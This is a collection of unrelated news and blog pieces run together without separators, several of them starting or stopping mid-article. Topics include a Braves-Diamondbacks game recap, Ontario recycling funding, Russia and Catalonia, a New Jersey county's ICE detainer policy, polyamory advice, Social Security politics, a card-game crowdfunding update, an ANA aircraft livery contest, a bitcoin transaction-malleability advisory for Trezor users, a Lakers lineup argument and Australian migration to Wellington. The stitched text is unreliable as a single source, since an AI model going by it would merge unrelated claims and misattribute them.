Atlanta took the lead in the fifth when Jordan Schafer doubled over third base to start the inning. He scored on Heyward's home run to left that made it 2-1.
Gregorius, called up from Triple-A Reno on Tuesday, opened the game with a shot just over the fence in right.
Teheran didn't allow another hit until Peralta, another recent arrival from the minors, led off the fifth with a ground-rule double. Teheran retired the next two batters, but McCarthy — 2 for 23 for the season to that point — slapped a single between shortstop and third to bring Peralta home and tie it 2-2.
Ex-Diamondback Justin Upton, greeted with a mix of boos and cheers, struck out three times against McCarthy, then flied out to the fence in right and drove in a run with a bloop single in the ninth.
NOTES: In the second day of the amateur draft, Arizona chose OF Matt Railey of North Florida Christian Academy. He's committed to Florida State. ... Braves RHP Jordan Walden, recovering from a strained left hamstring, began a rehab assignment Thursday night for Triple-A Gwinnett against Columbus, facing four batters in two-thirds inning, giving up a run and two hits. He struck out the first three batters, but the third reached on a wild pitch. The next batter homered. ... On Saturday night, the Braves have RHP Ervin Santana (5-2, 4.10 ERA) facing LHP Wade Miley (3-6, 4.85).
The Waste Free Ontario Act is changing the way recycling happens across the province, by putting the responsibility of paying for blue box recycling onto producers, rather than municipalities.
The full plan hasn’t been unveiled yet — the government is releasing bits and pieces at a time — but the move could bring between $1.5 million and $3.5 million back to the city, a new report indicates. That kind of cash would take a big bite out of the cost of operating a green bin program, pegged at $4.5 million in a 2016 business case.
“We don’t have a green bin program in place. Now, through this, we may have a funding source to offset the cost of a green bin program,” said Jay Stanford, the city’s environment and waste head.
London’s goal is to divert 60 per cent of residential waste from the landfill by 2022 — a provincial target — and tackling food waste is the only way to get there.
Right now, organics make up 35 per cent of Londoners’ garbage bags, Stanford said. London’s diversion rate currently sits at 45 per cent, and an organics program could help boost that rate to about 57 per cent, he said.
Coun. Stephen Turner said the recycling costs the city will recoup under the new plan is an opportunity to get moving on a green bin program. He wanted to see one implemented years ago.
“Ultimately the Waste Free Ontario Act is probably going to ban organics from landfills, which means now we’re going to have a new cost,” Turner said. “Every year that we wait to implement (an organics program) is another year the costs will go up. When it’s mandated that we can’t put organics into landfill anymore, our ability to negotiate a good tipping fee for our organic waste is going to be a lot more difficult.”
In a parallel project, Coun. Harold Usher is advocating for London to join the National Zero Waste Council. He’ll be sitting on that council as a representative for the Federation of Canadian Municipalities, and said it aligns perfectly with London’s work.
“It’s all to do with food waste, and product and packaging,” he said of the city’s efforts. “All the organic stuff, that’s what we’re working for over the next number of years.”
With less than a decade of capacity left at the city’s landfill, it’s clear London has to do something.
But a green bin program might not be the answer.
“When you really get to chat with people who might not be as green as some others, they do question whether this is the right place to be spending additional tax dollars,” Stanford said.
“I’m always very cognizant that people have lots of different priorities in this community.”
mstacey@postmedia.com
As with many political divisions emerging across Europe and the West, some analysts have mused about, and others even pointed to, Russia's hand in pushing Catalonia over the edge.
"The Catalan conflict could help legitimate pro-Russian secession in Crimea and Donbass," wrote Spanish journalist Enric Juliana in the Barcelona-based newspaper La Vanguardia on Wednesday.
Read more: Beyond Catalonia: Separatist movements in western Europe
For Juliana, it was clear: an article by Russian state broadcaster RT en Espanol claiming to show European parliaments recognizing Catalonia was evidence of Moscow's meddling in Spain's territorial integrity.
But does Russia really stand to gain anything from an independent Catalonia?
'Russia's position is known'
Days after Catalonia held a controversial independence referendum on October 1, Russian President Vladimir Putin told foreign policy experts in Sochi that the region's breakaway bid amounted to a domestic issue.
"Russia's position is known here," Putin said. "All that is happening is Spain's internal business and must be resolved according to Spanish law and on the basis of democratic traditions."
Read more: In Catalonia, language and identity go hand in hand
However, the outbreak of violence during the referendum provided Russian officials with ample ammunition to criticize the European Union, a position often taken by pro-Kremlin allies to showcase the bloc's fault lines.
While foreign ministry spokeswoman Maria Zakharova reiterated the official Kremlin response that Catalonia's bid was an "internal matter of Spain," she was more candid on her Facebook account.
"Is this the Europe that wants to talk to us about the Crimea referendum and upholding rights?" she asked in a post on the social media platform.
Catalonia declares independence from Spain The declaration As the world watched, Catalonia's parliament voted 70 to 10 for the region to declare its independence from Spain. "Our legitimate parliament has taken a very important step. This is the people's mandate," Puigdemont said after the decision. Dozens of opposition lawmakers from the Socialist Party, Citizens Party and Popular Party had walked out of the parliament chamber to boycott the vote.
Catalonia declares independence from Spain The despair Within an hour of the Catalan vote, the Spanish Senate in Madrid passed a bill to trigger Article 155 of the Spanish constitution. The measure will allow the central government to suspend Catalonia's autonomy. Spanish Prime Minister Mariano Rajoy said he would sack Catalonia’s government and set new regional elections for December 21.
Catalonia declares independence from Spain The dismissal European leaders were quick to condemn the independence declaration. EU Commission President Jean-Claude Juncker said the Union "doesn't need any more cracks," while EU Council President Donald Tusk said Madrid "remains our only interlocutor." Leaders in Germany, France, Italy and the UK voiced their support for Madrid. The US also chimed in, saying "Catalonia is an integral part of Spain."
Catalonia declares independence from Spain The dispute Barcelona and Madrid had been in a standoff since 93 percent of voters opted for Catalan independence in an October 1 referendum marred by police violence. Spain said the poll was illegal and stressed the low voter turnout of 43 percent. It subsequently threatened to suspend the region's autonomy if Catalan leaders did not stop their drive for independence.
Catalonia declares independence from Spain The defiance Many had expected tensions to ease on October 26 when Catalan President Carles Puigdemont was expected to call snap elections to bow to a key Spanish government demand. But Puigdemont refused, saying that he did not have enough "guarantees" from Madrid. Instead, he called on the Catalan parliament to decide on how to respond to Spain's threat to suspend the region's autonomy.
Catalonia declares independence from Spain The dream Tens of thousands of pro-independence protesters had taken to the streets of Barcelona ahead of the independence declaration to demand the region's secession and the release of two leaders of pro-independence organizations, Jordi Cuixart and Jordi Sanchez. Independence has divided Catalonia. Many who supported continued unity with Spain refused to vote in the October 1 referendum.
Catalonia declares independence from Spain The delight The pro-independence crowds outside the Catalan parliament immediately rejoiced after hearing the independence declaration. Many people were draped in the "Estelada" flag associated with Catalan independence. Some reportedly called for the Spanish flag to be removed from the Catalan government palace as regional lawmakers arrived from the parliament. (Author: Alexander Pearson) Author: Alexander Pearson
The Ukraine 'paradox'
In 2014, Russia illegally annexed the Crimean Peninsula in an internationally-condemned referendum after pro-European protests led to the ousting of Ukraine's pro-Kremlin president, Viktor Yanukovych.
For pro-Kremlin observers, Madrid's violent actions against voters who took part in the independence referendum resembled Yanukovych's deadly crackdown on the pro-European protests of 2013 and 2014.
Political commentator Alexey Martinov, who monitored the Catalan independence vote, called it a "paradox" that EU representatives had slammed Yanukovych for using what he described as the same brutal methods the Spanish police used against voters in Catalonia.
Read more: Could sending lethal weapons to Ukraine bring peace?
"If they told Yanukovych four years ago that he could use the same methods that are being used in Barcelona, that such methods are 'European,' I believe that there would be none of the horrible events that later took place in Ukraine," Martinov told the Russian news agency Interfax, in an apparent reference to a separatist insurgency that erupted in eastern Ukraine.
Meanwhile, Russia continues to be instrumental in a rebel insurgency it fomented with its military intervention and subsequent referendum on the Crimean Peninsula.
Ukraine: Living on the front lines Caught in the crossfire Every evening, the shelling begins around sunset. The front lines near Donetsk see nightly mortar and machine gun fire as the conflict between the Ukrainian military and pro-Russian separatists’ rages on. Caught in the crossfire are many elderly civilians who are too impoverished to go elsewhere. Ivan Polansky, above, surveys the damage on his home in Zhovanka.
Ukraine: Living on the front lines ‘Waiting for a shell’ Residents of Zhovanka in the so-called ‘gray zone,’ a thin strip of land separating warring militaries, line up to see a visiting doctor. Medics hold pop-up clinics in the town once a week. "Each day, you are waiting for the shell to land on your house and you never know when it’s going to come," said local resident Ludmila Studerikove.
Ukraine: Living on the front lines Without electricity and heating Zhovanka was once home to 1,000 people, but the number has dwindled to about 200 since the war began in mid-2014. It has been three months since residents have had electricity and gas. "Sometimes I’m so scared that I lay in bed at night and just shake,” Studerikove said. “My husband stays by my side and holds my hand."
Ukraine: Living on the front lines Nowhere else to go Olexander Voroshkov, program coordinator for the regional charity SOS Kramatorsk, said residents continue to live in half-destroyed homes with leaky roofs, even through the winters, because rent in nearby Ukrainian cities has skyrocketed since the beginning of the conflict. "Rents in Kramatorsk are now similar to those in Kiev, but the salaries are much lower than in Kiev," Voroshkov said.
Ukraine: Living on the front lines Reliance on humanitarian aid Women line up to receive medicine and multivitamins in Zhovanka. Food and humanitarian supplies are delivered to the town by charity organizations, as crossing checkpoints sometimes requires people to wait more than a day in line. "We had everything; we had fresh air, nature. It was very nice here. Now we just have the cold," said local resident Vera Sharovarova.
Ukraine: Living on the front lines Adapting to DNR frontlines Vera Anoshyna, left, speaks with neighbors in Spartak, a town in what is now the Donetsk People’s Republic (DNR). Anoshyna said she has done her best to adapt to the conflict. "If you don’t have water, you find it," she said. "If you don’t have electricity, you find a solution. But you never know where the next bomb will land."
Ukraine: Living on the front lines Six broken ribs Svetlana Zavadenko stands before her home in Spartak. She was injured when the walls collapsed after several mortars exploded in her yard. Neighbors had to dig Zavadenko out of the rubble and she was sent to the hospital with six broken ribs and a ruptured liver. She smokes “Minsk” brand cigarettes and laughs when asked what she thinks about the war.
Ukraine: Living on the front lines 'We lost hope' Zavadenko recovered from her injuries and lives alone with several pets. Spartak has not had electricity, gas, or water services since 2014, so she uses a grill to cook her food. For firewood, she goes to an abandoned furniture factory nearby and collects plywood. "Last winter we thought [the war] would finish, but now, honestly, we lost hope," she said.
Ukraine: Living on the front lines Possibility of a drawdown Damage from shelling on the outskirts of Donetsk. Despite past failures in deescalating the war, a new ceasefire may be in sight after an October peace summit in Berlin, where Ukrainian President Petro Poroshenko said he was ready to end hostilities in eastern Ukraine and would withdraw troops from the region.
Ukraine: Living on the front lines 'We lost too many soldiers to stop now' Even if both sides agree on a ceasefire, they will face opposition from their militaries, who claim their sacrifices were too heavy to simply put down their weapons. "We lost too many soldiers to stop now," said Vladimir Parkhamovich, colonel of the 81st Airmobile Brigade in the Ukrainian military. "If they give us an order [to stop] we’ll consider them traitors." Author: Diego Cupolo
'Double standards'
Although the Kremlin does not openly support Catalonia's independence bid, what the region's political upheaval offers Moscow is an opportunity to illustrate "double standards" within the EU's borders.
For Putin in particular, the case of Kosovo is momentous and telling. In February 2008, several western European countries, including Germany, the UK and France, recognized Kosovo, which was an Albanian-majority breakaway region that comprised part of Serbia, as an independent state.
"What we see is that, in our partners' view, there are worthy fighters for independence and there are separatists who cannot defend their rights," Putin said. "Such double standards — this is a very striking example of double standards — are fraught with serious danger for the stable development of Europe and other continents."
Read more: With new Wall of Grief, Russia grapples with Soviet crimes
While Spain refused to recognize Kosovo as an independent state, the majority of the EU's 28 member states followed suit.
"Why were they so unthinking, driven by fleeting political considerations and their desire to please — I will put it bluntly — their big brother in Washington, in providing their unconditional support to the secession of Kosovo, thus provoking similar processes in other regions of Europe and the world?"
But the backlash has also re-energized the pro-immigrant activists who pushed the county to adopt the policy in the first place. Middlesex Freeholders, meanwhile, have stuck to their guns, reinforcing their support for an approach they said will protect the county from lawsuits.
The policy, which was adopted on June 1, governs interactions between the county’s adult jail and sheriff’s department and Immigration and Customs Enforcement (ICE), the Homeland Security unit that deports undocumented immigrants.
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Under the new rules, county officers may not comply with 48-hour civil detainer requests from ICE. ICE officials submit these forms to jails and law enforcement agencies when they have someone in custody whom the feds suspect of being in the country illegally. The courts have ruled that these requests are voluntary, which means local entities may ignore them, according to Middlesex County officials.
County officers must comply with ICE’s detention requests only when the individual in question has been convicted of a first- or second-degree “serious offense” or when ICE presents a warrant signed by a federal judge, according to the policy.
The most recent push against the policy came yesterday, June 19, from ICE’s Newark office.
In a press release, the agency announced that its Enforcement and Removal Operations officers arrested two undocumented immigrants after they were released from Middlesex County’s custody. The county filed detainer requests for the two men—one a Mexican citizen and the other from India—but the county “failed to honor the requests,” according to the release.
ICE lodged the detainer requests with the county jail on May 18 and May 22, according to the release. One man is facing “state criminal charges,” while the other “has a pending criminal charge in Middlesex County,” agents said in the release.
In Middlesex, merely being charged with a crime isn’t enough for the county to hand over a person to ICE, according to the policy.
John Tsoukaris, an ICE field office director in Newark, blasted the county in a statement. He said protecting the “integrity” of the immigration system and removing “illegal aliens,” especially those with a “criminal history” are among ICE’s top priorities.
“ICE shares the county’s ultimate objective to protect public safety and national security while simultaneously preserving the critical community police bond,” Tsoukaris said. “As such, county jails that fail to work ICE put their communities at risk.”
The message was almost identical to one published by ICE shortly before the Board of Chosen Freeholders voted to adopt the policy.
Teresa Vivar, an advocate for immigrants, speaks in favor of the policy on June 15.
When TAPinto New Brunswick reported on that press release, Freeholder Director Ronald Rios accused ICE of playing politics and trafficking in rhetoric.
“We are here to serve the public, and we do so by following the law, not by reacting to political grandstanding by ICE, which is trying to strike fear into residents’ minds,” Rios said at that time.
He added that the county’s policy complies with state and federal laws. Officials are “dedicated” to keeping residents safe, he said.
But ICE’s press releases on Middlesex County have been met with fanfare by right-leaning news outlets.
Breitbart, for instance, has published several stories on the issue, labeling the area a “sanctuary county.” Middlesex hasn’t adopted that title. Rather, Breitbart attributed the label to a map put together by the Center for Immigration Studies, a think tank that claims to be nonpartisan but has drawn scrutiny for pushing a nativist, far-right agenda.
Much of Breitbart’s reporting appears to have been based solely on the ICE press releases, a point that has irked pro-immigrant residents in the county. What’s more, activists said, the website hasn’t reported on the details of the actual policy.
Freeholder Shanti Narra (right) was instrumental in crafting the policy.
Even so, after word of the denied detainer requests spread, county Republicans took to the freeholders’ June 15 meeting to voice their concerns. But the gathering drew a greater number of residents and activists, who defended the policy and undocumented immigrants.
“This policy does not help anyone but criminal illegal immigrants,” Mina Kolta, a Republican candidate for freeholder, said during the meeting, to boos from the audience. “You’re helping criminals.”
Rios said the county’s “utmost” priority is the health and safety of its residents.
“We do not condone behavior that’s criminal. We never will. We never have,” Kolta said. “The bottom line is that we have to protect the county from any liability, and that’s what’s important.”
Freeholders and activists pointed to court decisions that found counties’ compliance with ICE detainer requests to be against the law. Further, they said, the policy upholds undocumented immigrants’ constitutional rights.
People flooded the freeholders' meeting room on June 15 in New Brunswick.
A number of pro-immigrant activists thanked the county for adopting the policy. They said the move was both morally and legally sound. If anything, activists have said, the county should provide go even further, by not allowing ICE to conduct interviews in county jails.
“If you round up one group of people without charge because you think they deserve fewer rights than someone else, then you can rationalize rounding up the next group and then the next group,” Ellen Whitt, a Highland Park resident and well known activist, said during the meeting.
Still, some opponents of the policy criticized the county for they claimed is an act that provokes the federal government, pits county law enforcement against ICE and violates the law or spirit of the oath of office.
“I understand that many of the people that are involved in being undocumented are innocent,” Camille Clark, an East Brunswick councilwoman, said. “However, there is a legal pathway for immigration into the United States. … Modify those laws, change those laws, grandfather those laws, but don’t break the law.”
County officials again argued that their policy doesn’t violate any laws.
Some said the county is “in over [its] head” or that the policy could jeopardize federal funding.
As activists defended the policy, they also slammed what they considered to be anti-immigrant myths. Plus, they said, ICE has a surefire way to get Middlesex to comply with detainer requests.
Will Rogers famously remarked that he never met a man he didn't like. However, I'm pretty sure Will Rogers wasn't polyamorous. So what happens when you're happily polyamorous, your partner—with your blessing—starts dating someone new, and you realize that you do not like this person?
It's a tricky situation. People committed to the ideals of open romantic relationships may feel they're betraying their principles by disliking their partner's other partners. (Let's call them POPs for short.) Polyamory certainly goes more smoothly when everyone gets along. But two perfectly nice people, both loved by a third person, can sometimes be just too different (or, just as often, too much alike) to be close friends.
Once established, strong dislike of a POP isn't a problem easily solved. My only advice is the obvious: Tell your partner how you feel, but recognize these are your feelings and your responsibility. Be polite to your POP in social situations, but minimize time spent in close company. (Your partner should give full cooperation in this.) And no bad-mouthing to your mutual love—confine any snarky comments to understanding pals.
I do have a strategy around preventing negative feelings from happening in the first place: not too much, not too soon. Yes, it's nice to meet the people your partner is dating. But some polyamory literature strongly suggests spending lots of quality time with your POPs, on the theory that it makes them less emotionally threatening. Phrases like "poly family"—a Charles Manson–ish term I detest—are tossed around, implying everyone should want to all hang out together. One gets the impression that poly people are damn-near obligated to welcome new POPs by love-bombing them like a Moonies recruit. I disagree.
No matter how poly-experienced you are, there's a period of adjustment when your partner gets a new partner. It's normal to wonder: How is this going to affect me, my relationship with my partner, and my life overall? You can learn to handle this phase more smoothly and quickly, but you never eliminate it completely. I prefer to pass through that phase first. Once I'm used to the fact of the new POP, then I get to know him/her just as I would anyone else: slowly, organically, without any assumptions of intimacy. I think feeling that one must immediately like the new person as much as one's partner does is what breeds resentment and then dislike. If I never have anything but a pleasant casual acquaintance with my POPs, that's just fine.
“We can’t afford to weaken Social Security,” he said during a speech on economic policy in Elkhart, Indiana. “We should be strengthening Social Security. And not only do we need to strengthen its long-term health, it’s time we finally made Social Security more generous, and increased its benefits so that today’s retirees and future generations get the dignified retirement that they’ve earned.”
The increased benefits, he said, could be paid for “by asking the wealthiest Americans to contribute a little bit more. They can afford it. I can afford it.”
This was a far cry from Obama’s position on the program in late 2012, when his administration argued for reducing Social Security benefits by recalculating the way cost of living adjustments are made.
“President Obama’s evolution on Social Security, from at one time being open to cuts to calling for an expansion of benefits … is certainly welcome news, but not at all surprising,” said Alex Lawson, the executive director of Social Security Works, a nonprofit group that advocates for protecting and expanding the program.
Lawson’s organization has worked with lawmakers and other nonprofit organizations to oppose Obama’s proposed Social Security cuts and shift the conversation towards expansion. By the summer of 2014, a small group of Democratic caucus senators, led by Sen. Bernie Sanders, started advocating for lifting Social Security’s payroll tax cap so wealthier people paid more into the system, and then increasing benefits to seniors. Polling by advocacy groups found broad support for expansion.
This idea became a central theme in Sanders’s presidential campaign. In the speech announcing his candidacy, the senator said that “instead of cutting Social Security, we’re going to expand Social Security benefits.”
“It has become impossible for elected officials to ignore the simple fact that Social Security is a solution and not a problem, and that the only thing wrong with it are that benefits are too low,” Lawson said.
In both 2008 and 2012, Obama explicitly campaigned on protecting the Social Security program and rejecting plans that would cut benefits. But shortly after re-election in 2012, the Obama Administration proposed re-calculating the way Social Security’s cost of living adjustments work.
The administration’s budget proposed using the so-called chained Consumer Price Index formula to calculate benefits instead, which would slow the rate of benefit increases in the future so as to reduce overall spending. Social Security Works estimated that under the chained CPI the average beneficiary who just started receiving benefits would receive a yearly benefit $653 lower after 10 years.
Then-White House spokesman Jay Carney defended the move, saying that the budget Obama put forward was “not his ideal budget,” but that it’s a “document that recognizes that to achieve a bipartisan solution to our budget challenges we need to make tough choices.”
Obama’s backtracking set off a furious reaction from seniors groups and progressive activists, who for the next few months mobilized their members to pressure Congress to reject the proposed change. By April 2013, 2.3 million Americans had signed petitions calling on the president to back off of chained CPI. The signatures were presented at a White House rally that featured Sanders, who vowed to “do everything in my power to block President Obama’s proposal to cut benefits for Social Security recipients through a chained consumer price index.”
The senator mobilized a wide coalition or organizations, including veterans, women’s rights groups, and labor unions to oppose chained CPI.
Under this intense activist pressure, the White House was unable to convince its own allies in Congress that this change was worth the political costs. The next year, the chained CPI was quietly dropped from Obama’s budget proposal.
PayPal Update
Our PayPal is currently at $75.444.64. Getting closer to that Tablet Support reward tier! Speaking of rewards....
Plus One
Question: The 660K tier reward gave us +1 to PVE cards. Can that include PVP cards as well?
That makes sense. Yes, enjoy!
Question: Can the +1 Reward at the 660K tier apply to The Collector Tier yearly exclusive alternate art PVP cards?
That makes sense. Yes, enjoy!
So, the 660K +1 tier reward now also includes Kickstarter exclusive PVP rewards and the Collector yearly alternate art PVP cards. I'll update the respective tier images soon to reflect that, as well add both the Dragon's Blood starter deck and the Cardboard Tube Samurai to the Champion tier list which are currently missing.
Twitch.tv
Don't forget that our next stream is on Monday, June 3rd at 5 PM PST. While you're waiting, you can subscribe here: http://www.twitch.tv/hextcg
Today's update is short and sweet. Tomorrow we'll show you some of the original concept for a race, as well as show you the different artist takes on that concept art that you'll be seeing in HEX.
Why The A380
Back in January 2016, All Nippon Airways (ANA) and Airbus announced that the airline had agreed to purchase three A380s. The A380s in question are likely ones that were being produced by Japanese low cost carrier, Skymark. Skymark, despite its ambitious plans, just couldn’t cut it. And in the end, the airline was acquired by ANA during bankruptcy proceedings.
The competition to acquire Skymark was fierce. However, what likely swayed the decision in ANA’s favor, was their new aircraft order. As part of its Skymark purchase, ANA agreed to purchase new aircraft from Airbus. This order included, of course, those A380s.
This was an important win for Airbus, as Japanese airlines tend to be loyal to Boeing. But with ANA’s order, Airbus will soon be delivering aircraft to both of Japan’s largest carriers. Japan Airlines had, by the way, ordered a number of A350’s back in 2014.
The Contest
ANA’s A380’s will be used exclusively on the airline’s Tokyo to Honolulu route. So, the goal of the contest was to develop a Hawaii-based livery for these three aircraft. The contest ran between October 7 and November 30, 2016, with the winner receiving two roundtrip tickets for travel between Honolulu & Tokyo, and an “ANA souvenir.”
According to the airline, 2,197 submissions had been received during the contest period. In the end, though, only one winner could be selected. And now, we finally know who the winner is: Chihirou Masuoka of Tokyo. For his design, Masuoka-san has received two roundtrip business class tickets for travel between Honolulu and Tokyo. He has also received an A380 model featuring his special livery.
The Design
Masuoka-san call his design concept “Sea Turtle Family.” According to the airline, green sea turtle are a symbol of good luck and prosperity in Hawaii. Indeed, Native Hawaiians consider the green sea turtle, or Honu, an Aumakua (family god). To them, the Honu represents longevity, safety, and spiritual energy.
Given the design, ANA will be naming its aircraft the Flying Honu. The airline hope the aircraft will pass happiness and luck to its passengers.
Four runners up were also announced, which are pictured above. ANA states the runners up will also receive “commemorative gifts.”
Going Forward
With the naming of its new aircraft, ANA has committed to supporting Honu conservation efforts. Hawaiian green sea turtle are listed on the IUCN’s endangered species list. The airline also states that new passenger services will be introduced to coincide with the introduction of its A380s. More details will be provided in the future as they become available. ANA is expected to launch its A380 service in Spring 2019.
Flying Honu Final Thoughts
I honestly forgot this contest had even occurred. It is interesting to see what design was ultimately chosen, though. And while the name “Flying Honu” does incorporate some Hawaiian, the design doesn’t look very Hawaii. Rather, the Flying Honu looks very, uh, Japanese. At any rate, it is a nice, interesting design, and I can’t wait to see it in real life.
Transaction Malleability Attack And Trezor: What You Need To Know
A hero member of the Bitcoin Forum who goes by amaclin claims to be creating a variation of double spends on the bitcoin network with a transaction malleability attack. He is intercepting transactions and replacing the low S value with the high S value in one of the signatures. This results in a copy of the transaction with a new valid but non-standard signature. You don’t need the private key to do this and some miners will be glad to mine the extra non-standard transaction. What you wind up with is are copies of transactions where one confirms and one does not.
BIP 66 fixed one source of malleability but not all. BIP 62 is needed to address the present attack as it addresses all other known sources including this one. However BIP 62 is not ready to deploy and will require an update to all bitcoin wallets. As with BIP 34 transistion from V1 to V2 blocks miners will have to upgrade and start mining V3 blocks.
Meanwhile amaclin seems to have taken it on himself to urge adoption of BIP 62 through his attack, which is causing some grief for bitcoin users whose wallets are showing double spends. Eventually one of the transactions will win by being mined into a block and the other transaction will gradually be forgotten by the network and (hopefully) disappear from your wallet transaction list. Some wallets are affected more adversely than others.
In particular the myTrezor.com web wallet is severely affected because it is not able to rescan its transactions and ignore the zero confirmation duplicated transactions. Users are reporting they are not able to spend the balance in their wallets.
What Should Trezor Owners Do?
Until Trezor patches their myTrezor.com web wallet to ignore unconfirmed transactions you will need to use a different wallet. Multibit HD is our recommendation because it is the only wallet Trezor supports that offers the ability to rescan transactions.
Once you have Multibit HD installed just connect your Trezor and start Multibit HD and follow on screen prompts. In the dashboard you always have the option under Manage Wallet to Repair Wallet. However remember that Multibit HD does not support hidden wallets with passphrases. If you are already using that function you would have to use Electrum instead. Electrum wallet does not offer a rescan option but is more robust that myTrezor.com at present.
Your other option is to use your Trezor with Mycelium wallet on your Android phone. There is a caveat here as Trezor requires a late model Android phone that has USB Host or OTG ability. If you have Mycelium on your phone already working with Trezor you can see the duplicate transaction under the Transactions tab. Just highlight the unconfirmed transaction and press the Show Details button. When it asks if you want to Cancel or Rebroadcast the transaction, select the Cancel button. You should now be good to go.
How To Determine if Transaction Malleability Attack Is Ongoing
Visit Statoshi – Transactions and check the third chart down as shown here:
You can tell from the transactions rejected on the chart that the attack ended on 10/5 about 10:00 but may have resumed about 16:00. When the attack is in progress it is important to wait for multiple confirmations whenever you send or receive coins before you make another transaction.
Some wallets are affected worse than others when the attack is on. Besides myTrezor.com being unusable at present, blockchain.info should be avoided. If you have a problem with a transaction on blockchain.info you will have to contact support to sort it out.
This one won’t be quite as intensive.
Simply put, I think it’s a no-brainer that when Steve Nash finally returns from injury, he and Steve Blake should start together–or at least play the majority of the two separate guard positions, together.
Although I like Jodie Meeks’ hustle and defensive effort, he averages 7.7 points on just 24.0 percent shooting from the field in 10 games as a starter this season compared with his overall season average of 7.9 points on 38.7 percent shooting from the field.
Also, while he is a shooting guard, he’s only an inch taller than Steve Blake at 6’4″ (compared to Blake’s 6’3″), so the height argument doesn’t hold much weight, either.
He’s certainly a key for this team, but I feel as though he’s a better key off the bench.
—- Check out this wallpaper of Steve Nash, the Lakers Point God! —-
Steve Blake, on the other hand, has excelled when given the extra minutes and responsibility either due to Steve Nash or Kobe Bryant’s injuries–or both.
In the eight games Nash has been out (since the start of April), Blake has averaged 12.6 points, 5.3 rebounds and 4.0 assists.
In the two games since Kobe’s been out due to the horrific tear of his Achilles, Blake has averaged an astounding 23.5 points, 6.0 rebounds and 5.5 assists!
Additionally, while Meeks is a solid three-point shooter at 36.7 percent, Blake is averaging 42.1 percent from behind the three-point line on the season.
Add that to Steve Nash’s 43.8 season clip from behind the arc, and you’ve got two of the deadliest shooters in the league complementing two dominant low-post presences in Pau Gasol and Dwight Howard, who each get double-teamed frequently once they step foot near the basket.
Not to mention Nash has a rare mid-range shot that’s also highly effective, as he averages 49.7 percent from the field.
Throw on top of that the added play-making–and/or decision-making–you get with the two point guards, and you’ve got an offensive nightmare for other teams–especially in the playoffs.
It may be a small sample size, but in the three games Kobe Bryant was injured due to an ankle sprain (we’ll say three, because the 12 minutes he played against Indiana were pretty much non-existent) and Nash and Blake were both on the floor together for an extended period of time (Pau Gasol was injured as well, for edification), things seemed to click offensively and the two played extremely well off of each other.
Here are the numbers:
Steve Nash
17.7 points
8.3 assists
4.3 rebounds
50.0 three-point percentage
Steve Blake
15.7 points
15.7 points 6.7 assists
4.0 rebounds
2.0 steals
56.7 field goal percentage
52.6 three-point percentage
Again, it’s a small sample size, but with the way Steve Blake has performed as of late and what we all know Steve Nash is capable of with regards to play-making as well as scoring (as he’s had to do more of this season), it’s certainly a promising combination.
With Kobe Bryant out, it also seems like the wisest option as well.
Now, all we can hope for is Steve Nash’s speedy return.
WE’VE always looked at New Zealand like our daggy younger brother, but it turns out the country has a few things to teach us.
Not only are Australians migrating across the ditch in droves, but we’re losing some of our best talent to the booming creative and tech industry hub of Wellington.
In the three years to 2015, the number of Australians moving to the NZ capital spiked by 86 per cent, and the flow of expats last year reversed direction for the first time in more than two decades.
There are now more Aussies moving to New Zealand than vice versa, many of them lured by start-ups offering pay cheques that stretch a lot further than they would in Sydney or Melbourne.
Wellington’s average salary is $78,550 ($NZ82,000), which goes a long way in a city where the median house price sits at just $527,000 ($550,000).
Among them is Dan Ferguson, who moved to Wellington from Sydney six months ago after being poached by eBay rival Trade Me, an ASX 200 company that’s one of New Zealand’s biggest success stories.
The 40-year-old marketing director talked his pregnant wife into making the move, and the pair welcomed their son into the world three weeks ago.
“We were warned about extreme windiness and freezingness, but most of the days have been 22 degrees, crisp, clear and sunny,” Dan said.
More importantly, the city had none of the angst experienced by Sydneysiders around their core obsession: property prices.
“You read the papers about how difficult it is to buy a house back home,” he said.
“When you arrive somewhere that you can live incredibly close to work in a place that has water views for at least half the price of what you’ve expect in Sydney, it’s game changing.”
The couple had been renting a two-bedroom house in Ryde for $700 a week after their (more expensive) property on the Lower North shore was flooded.
“The house was old, poorly built and right next to a major arterial road, and I spent up to 90 minutes getting to work,” he said.
“For the same money in Wellington, we’re in a four bedroom with study, plus our own private forest on 20 acres with goats, rabbits and a 20-minute commute into the city. It’s amazing and so much better for our kids.”
While Prime Minister Malcolm Turnbull talks up innovation, jobs and growth, the New Zealand Government has been luring entrepreneurs with co-working spaces and publicly funded business incubators like Lightening Lab, a four-month program that helps new companies grow.
There’s no payroll tax or capital gains tax, companies pay just 28 per cent and the top personal tax rate is 33 per cent.
It’s all part of the drive to grow exports to 40 per cent of New Zealand’s GDP by 2025, moving away from reliance on primary industries like meat, dairy and wool farming.
And it’s working, with 54 NZ companies featured on Deloitte’s Fast 500 Asia Pacific list last year, 13 of them in Wellington.
By comparison, Australia — with a population more than five times NZ’s 4.4 million — had 80 companies on the list.
“We recognise that we’re a small economy and a very open economy, so we want to make sure we attract skills,” said Chris Whelan, chief executive of the Wellington Economic Development Agency.
“And the tyranny of distance is easily overcomable when one is thinking of things in a knowledge sense. To work in that space you don’t need to be close to a mega city, but you need to be globally oriented and globally connected.”
He said Wellington was perfectly placed for a tech hub, with Singapore Airlines having just announced a new route via Canberra.
While Australia struggles with its transition from the mining boom, Wellington boasts an economy where almost half of the working population is employed in knowledge-intensive industries.
A major success story is GreenButton, the cloud computing company bought by Microsoft in 2014.
Founder Scott Houston got the idea for the start-up while working for digital visual effects company Weta Digital on the Lord of the Rings trilogy. It now counts Pixar, NASA and Boeing among its customers.
Gaming entrepreneur Andrew Lamb, 26, moved to Wellington from Melbourne in April 2014 to scale up what had been a two-year side project.
After launching the car company tycoon game Automation while working as a programming teacher, Andrew and his co-founder Caswal Parker sold enough copies to quit their jobs and focus on expanding their business.
He chose Wellington for its cooler climate and lifestyle perks, but said it also appealed as a business environment, with a simpler tax system and a thriving local start-up community.
“Because we’re in games specifically we’re on the outside a bit of the main tech community, but just a couple of weeks after we arrived we started a Meetup group for game developers, and a whole bunch of other events sprung up out of that,” he said.
“Now we’ve got six fulltime employees in the office and a bunch of contractors around the world.”
Along with Caswal and his partner Jayelinda Suridge, who also works in the business, Andrew bought a house a half-hour’s drive from the city in Wainuiomata.
While it needed some renovations, he said, it was “a total bargain”, with four bedrooms, two kitchens and two bathrooms on a large block for just $186,690 (NZ$195,000).
“That’s unusually cheap, but you could expect to get a decent house in our area for under $300,000, or in one of the inner suburbs you’d get something reasonable with $500,000.”
It takes the trio just 15 minutes to drive to their office in Petone, closer to the city.
Andrew said the city was “a lot more relaxed than Melbourne”, while still offering plenty to see and do — especially for outdoorsy types.
